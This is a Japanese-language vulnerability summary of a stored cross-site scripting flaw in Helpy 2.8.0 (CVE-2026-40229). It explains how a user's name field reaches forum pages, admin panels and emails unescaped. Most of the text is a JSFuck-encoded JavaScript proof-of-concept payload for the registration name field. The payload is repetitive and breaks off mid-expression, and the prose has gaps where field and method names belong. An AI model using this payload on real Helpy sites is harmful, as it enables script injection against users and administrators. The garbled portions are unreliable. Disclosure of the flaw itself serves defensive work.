脆弱性要約:Helpy 2.8.0 ストレージ型XSS 脆弱性概要 Helpy 2.8.0 にストレージ型クロスサイトスクリプティング(Stored XSS)の脆弱性が存在します。この脆弱性は投稿者表示ロジックにあり、登録済みの任意のユーザーがアカウントの フィールドに任意のHTMLを注入することで、未エスケープの内容が公開フォーラム、管理者パネル、およびHTML通知メールでレンダリングされてしまいます。 脆弱性の根本原因は モジュールの メソッドにあります。このメソッドはユーザー入力の フィールドをI18nの翻訳文字列に挿入し、 メソッドで信頼できるものとしてマークすることで、Rails ERBの自動エスケープメカニズムを無効化しています。 影響範囲 影響を受けるバージョン: Helpy 2.8.0 CVSS スコア: 5.1 (Medium / 中程度) CVE ID: CVE-2026-40229 攻撃手順: 1. ユーザーが登録、プロフィール更新、またはOAuthログイン設定において、悪意のあるHTMLを含む フィールドを設定する。 2. システムは メソッドで名前を処理しますが、これは大文字小文字の切り替えやスペースのみを変更し、HTMLはエスケープしません。 3. 悪意のあるコードが保存され、他のユーザーに対して投稿や通知メールとともに表示される。 回避メカニズム**: は単語文字のみを処理するため、攻撃者は JSFuck コーディング(非単語文字のみを含む)を使用してフィルタリングを回避し、任意のJavaScript実行を実現できます。 修正方針 現在、公式のパッチは提供されていません。管理者には今後の更新の監視、または一時的な緩和策の実施を推奨します。 概念証明 (PoC) 1. JSFuck エンコードペイロード 以下のコードは登録時の フィールドで使用され、 をトリガーします。 ```javascript [][([]+[])[+[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]+!+[]]+[])[+!+[]]+([]+[])[[]]+([]+[])[!+[]+!+[]+!+[]]+([!+[]+!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]+!+[]]+[])[+!![]+([]+[])[!+[]+!+[]+!+[]]]+([!+[]